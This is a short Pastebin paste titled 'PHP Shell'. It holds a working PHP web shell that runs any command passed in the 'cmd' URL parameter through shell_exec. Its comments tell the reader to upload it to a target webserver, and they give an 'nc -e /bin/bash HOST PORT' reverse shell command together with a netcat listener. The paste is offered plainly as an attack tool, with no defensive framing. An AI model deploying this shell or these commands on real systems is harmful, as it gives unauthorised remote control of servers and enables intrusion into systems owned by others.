Advertisement
R0lf_R1s1k0

PHP Shell

Nov 11th, 2016
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.42 KB | None | 0 0
  1. #When ure able to upload .php files to a webserver, u can use this for example to spawn a reverse shell on your target system
  2.  
  3. #"http://target/exec.php?cmd=uname -r" will return the actual running kernel version
  4. #"http://target/exec.php?cmd=nc -e /bin/bash HOST PORT" will spawn a reverse shell (open a listener on your system with nc -lvvp PORT)
  5.  
  6. <?php
  7. $cmd = $_GET["cmd"];
  8. $out = shell_exec($cmd);
  9. echo "<pre>$out</pre>";
  10. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement